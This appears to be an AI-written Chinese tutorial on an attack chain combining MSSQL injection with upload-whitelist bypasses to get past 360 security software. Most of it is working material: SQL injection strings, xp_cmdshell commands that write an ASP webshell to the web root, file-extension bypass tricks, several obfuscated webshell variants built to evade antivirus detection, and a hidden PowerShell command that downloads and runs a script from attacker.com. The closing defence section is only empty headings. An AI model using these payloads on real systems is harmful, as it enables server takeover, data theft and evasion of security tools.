我将分析一个结合MSSQL注入和白名单上传绕过360安全防护的示例攻击链。这种组合攻击可以导致严重的安全后果,包括数据泄露和服务器控制。
攻击者首先利用MSSQL注入漏洞获取数据库信息或执行系统命令:
-- 基础注入检测
' AND 1=CONVERT(int,@@version)--
-- 获取数据库用户
' UNION SELECT 1,user,3,4 FROM sysusers WHERE uid=1--
-- 执行系统命令(需要足够权限)
'; EXEC master..xp_cmdshell 'whoami'--
如果应用使用MSSQL的xp_cmdshell
存储过程且配置不当,攻击者可能直接获取系统shell。
当直接注入无法获取完全控制时,攻击者可能尝试上传webshell:
-- 通过注入写入文件(需要足够权限)
'; EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\cmd.asp'--
白名单绕过技术可能包括:
- 双扩展名绕过:file.asp.jpg
- 大小写混淆:file.aSp
- 空字节截断:file.asp%00.jpg
- 特殊字符:file.asp;.jpg
- 解析差异:.php5
, .phtml
360等安全软件通常会检测常见webshell特征,绕过方法包括:
A. 编码混淆
<%
' 使用十六进制编码
Execute("" & Chr(69) & Chr(118) & Chr(97) & Chr(108) & " request(""cmd"")")
%>
B. 拆分关键函数
<%
dim a,b
a = "eval"
b = "request(""cmd"")"
execute(a & "(" & b & ")")
%>
C. 使用不常见标签
<script language="vbscript" runat="server">
ExecuteGlobal(Request("cmd"))
</script>
D. 利用MSSQL特性直接执行
-- 通过注入直接执行命令而不上传文件
'; EXEC master..xp_cmdshell 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"'--
防止SQL注入
xp_cmdshell
文件上传防护
对抗安全软件绕过
服务器加固
这种组合攻击展示了攻击者如何利用应用层漏洞(SQL注入)结合文件上传绕过技术来规避安全防护。防御需要多层次的安全措施,从代码安全到服务器配置再到安全产品的合理部署。